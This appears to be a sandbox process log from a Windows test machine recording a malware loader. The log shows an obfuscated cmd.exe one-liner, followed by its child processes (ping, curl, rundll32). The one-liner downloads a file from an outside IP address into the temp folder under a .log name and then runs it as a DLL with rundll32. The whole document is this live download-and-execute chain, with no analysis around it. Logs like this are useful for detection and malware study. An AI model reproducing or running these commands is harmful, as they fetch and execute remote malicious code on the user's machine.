cmd.exe "C:\Windows\System32\cmd.exe" /c A3ch || ecHo A3ch & ping A3ch || CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch || rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy
2144PING.EXE ping A3ch
2236curl.exe CuRl http://89.147.111.46/gWUA/hyper -o C:\Users\test22\AppData\Local\Temp\A3ch.log
2288PING.EXE ping -n 3 A3ch
2384rundll32.exe rUndLl32 C:\Users\test22\AppData\Local\Temp\A3ch.log scab /k haval462
2432